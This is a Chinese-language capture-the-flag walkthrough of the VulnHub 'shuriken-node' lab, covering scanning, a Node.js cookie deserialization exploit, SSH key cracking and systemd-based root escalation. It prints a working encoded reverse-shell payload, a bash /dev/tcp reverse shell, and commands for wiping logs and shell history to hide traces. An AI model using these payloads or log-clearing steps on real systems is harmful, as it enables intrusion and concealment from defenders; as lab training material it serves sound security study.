当前位置: 首页 > article >正文

vulnhub靶场【shuriken】之node

前言

靶机:shuriken-node,ip地址192.168.1.127

攻击:kali,ip地址192.168.1.16

主机发现

使用arp-scan -l或者netdiscover -r 192.168.1.1/24扫描

信息收集

使用nmap扫描端口

网站信息探测

访问8080端口网站,可以看到是一个博客,查看页面源代码,确定为目录型网站

尝试进行网站目录扫描

使用gobuster、ffuf、dirsearch、dirb、dirbuster等工具进行目录爆破

gobuster dir -u http://192.168.1.127:8080 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403

可以看到只扫描出四个,并且也并非是脚本语言

访问扫描出的目录

发现在访问/css/img时,都会提示无法使用get方式

访问loginLogin时,都是同一个界面

使用whatweb进一步探测,不过也没有检测出什么

再次详细探测8080端口的默认界面,发现几个用户名,也就是文章发布者,并且发现两张图片

漏洞寻找

把文章中的图片都下载,然后使用工具分析,也没有隐藏信息。

那么尝试中间件吧,之前使用nmap扫描的时候,注意这里不再是apache2,而是node.js express framework

使用searchsploit搜索有无该中间件的一些漏洞,因为这里是网站,所以根据搜索发现两个适合的,并且一个为py脚本,一个为js,并且都是序列化漏洞,可以远程代码执行的,下面还有一个文档,可以在上面漏洞无法使用时,查看

先测试python脚本是否可用,因为本人对于python代码相对比js代码好点,查看脚本代码,发现有需要修改的地方,也就是修改IP地址

不过测试发现并不能成功,那么查看文档,PDF文档详细记录了复现过程以及使用什么工具,那么可以按照文档中的内容进行复现,这里因为太长,所以截取关键图片

不过阅读文章发现,这里是通过修改cookie进行的漏洞,也就是cookie存在反序列化,那么查看原本的cookie

发现为eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D,也就是base64编码后的,这里的%3D=url编码

解码后,发现是一串字符,类似于json格式,并且其中的guest正是在主页中的显示welcome guest

把其中的内容进行一个修改username:superman,然后编码后查看有无变化,可以看到guest变成superman

尝试把其中的参数再次修改,比如admin测试,发现还是无变化,再把isguest改为false,也无变化,说明还是需要按照文章来

使用wget或者找到git地址,使用wget或者git下载到本地,下载工具及配件

git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

漏洞利用

尝试使用,该脚本是使用python2执行的,后面跟着kali的地址以及端口,用于监听反弹shell

python2 nodejsshell.py 192.168.1.16 9999

然后根据文档中的步骤,添加一段代码,也就是加上,这里是模板,把上面的编码数据包裹起来,主要 就是 (),记得在使用时,在burpsuit中进行base64编码。

但是这里需要注意,这里的语句全部在一行内构造的,不要回车造成多行

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,49,54,34,59,10,80,79,82,84,61,34,57,57,57,57,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

当然,还是需要根据自己的构造在kali中来使用nc进行监听

nc -lvnp 9999

然后使用burp抓取数据包,修改cookie:session=[上面构造的数据]

或者在浏览器中更改cookie为上面的编码数据也行,然后刷新浏览器页面

这时候,可以在终端看到已经反弹成功

使用dpkg -l | grep python查看靶机安装哪些python版本,然后对应版本进行获取交互式界面

python3 -c 'import pty;pty.spawn("/bin/bash")'

靶机内信息收集

使用find寻找具有SUID权限的文件,发现sudo但是需要密码

find / -perm -u=s -type f 2>/dev/null

使用find寻找capabilites文件,发现没有可利用的

find / -type f -executable 2>/dev/null | xargs getcap -r 2>/dev/null

收集系统内核、定时任务、用户数量等操作

uname -a
cat /etc/crontab
cat /etc/passwd | grep /bin/bash
ls /home

收集网络状态信息

ip addr
ss -antlp

还有进程方面的信息,但是太多不好截图,就放命令

top 
free -h
ps aux
等等

查看日志文件有无查看权限,发现没有权限,一般日志文件在/var/log

继续查看备份文件,一般在/var/backups中,这里发现一个压缩包,并且所属用户serv-adm的,不过具有查看权限

复制该压缩包到/tmp目录下,使用unzip进行解压,发现一个id_rsa文件,可能就是私钥文件

提权

水平提权至serv-adm

在靶机使用python开启一个简易的http服务,然后在kali中下载id_rsa文件

尝试使用该文件进行ssh连接,发现需要密码,这个在之前的靶场中提到过,在生成ssh公私钥时,会进行一个设置,这里就是设置了私钥的密码

使用john套件转换后进行解密,发现密码为shuriken1995@

ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

再次使用这个密码进行ssh连接,登录成功

垂直提权至root

因为前面收集到sudo具有SUID权限,所以还是进行尝试,看是否需要密码,发现不需要,并且有三个文件

这个是启动某种服务,一般这种服务文件都放置在/etc/systemd/system,如果靶机有locate命令可用,可以直接使用该命令直接定位其位置。然后查看该服务文件的权限,发现虽然为可读权限,但是文件所属用户为当前登录的用户,所以可以更改其权限

vim编辑器不可用,可以使用vi或者nano

编辑其文件,发现内容是没30分钟执行shuriken-job.service这个服务,先修改这个时间,改为1分钟

然后查看shuriken-job.service的权限以及内容,发现也是可以直接修改权限的,这里直接查看内容,发现有一个单元为启动时执行,表示启动该服务时会执行的操作,这里默认的是/bin/df,那么修改为其他脚本,比如这里在该文件中添加bash反弹命令

/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.16/1234 0>&1'

先在kali中开启监听,然后再执行上面的sudo命令,需要注意,这里的文件shuriken-job.service只有在启动shuriken-auto.timer时才行,并且是一次性的,所以如果出现问题,可以借助sudo /bin/systemctl daemon-reload重载,再启动即可

#建议按照这个顺序进行执行
sudo /bin/systemctl stop shuriken-auto.timer
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl start shuriken-auto.timer

当然我这里只是选择了一种简单的方法,进行反弹,也有其他提权方法,放在文章后面的总结中

痕迹清理

日志清理

这里和以往一样,就不截图了,直接命令

sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log

sudo文件恢复原本状态,也就是把shuriken-auto.timer恢复到原本的30

shuriken-job.service恢复原本的命令/bin/df

命令历史记录清理

history -r
history -c

总结

该靶场的考察为以下几个方面:

  1. 从外网到靶机内部,考察的是web服务器的漏洞缺陷,也就是node.js的反序列化,这里是借助文档进行一个漏洞复现
  2. 考察ssh生成公私钥的一个流程,这里就是在生成时,输入了一个key值,所以需要使用john套件进行解密
  3. 考察服务文件的利用,了解服务文件中的部分是做什么的,这里就是利用[Service] 部分ExecStart,表示开启服务时执行

因为该靶机的sudo的服务文件,可以执行命令,所以很多可以造成提权的操作,都可以进行尝试的,不要局限于一种

对于该靶机的其他提权方式,这里不全面,只是说一下

  1. 修改/etc/sudoers文件权限,使得其他用户可以进行编写,然后在文件中加入一个/bin/bash命令,再把文件权限恢复到默认的440状态后,就可以直接使用sudo /bin/bash提权到root,当然这里对于权限的修改都是在 shuriken-job.service文件修改的,然后执行
  2. 利用ssh文件的特性,先在kali中生成公私钥,然后在修改shuriken-job.service文件,使得其在root目录下创建.ssh文件夹,并下载kali中生成的公钥id_rsa.pub.ssh文件夹下,并修改名称为authorized_keys,这时候就可以在kali中利用生成的私钥文件登录靶机的root

http://www.kler.cn/a/453573.html

相关文章:

  • 如何永久解决Apache Struts文件上传漏洞
  • Matrix-Breakout 2 Morpheus(找到第一个flag)
  • Linux下比ack更快的ag搜索命令详解
  • 基于QT(C++)+MySQL实现的旅行模拟器
  • Idea 添加tomcat 并发布到tomcat
  • ubuntu22.04安装PPOCRLabel
  • 踏踏实实练SQLday1-2 lead/lag使用(股票波峰波谷)
  • cesium通过经纬度获取3dtiles 得feature信息
  • Eclipse 修改项目栏字体大小
  • ADB 上传文件并使用脚本监控上传百分比
  • USB Hub 检测设备
  • Android APP 集成本地大模型 LLM
  • datax ubuntu安装
  • 华为 AI Agent:企业内部管理的智能变革引擎(11/30)
  • E-commerce .net+React(一)——项目初始化
  • Mac上Stable Diffusion的环境搭建(还算比较简单)
  • DevOps 中的 AI:测试始终是一个关键领域
  • 【ES6复习笔记】Promise对象详解(12)
  • cad学习 day7-9
  • 数据结构 C/C++(实验六:查找)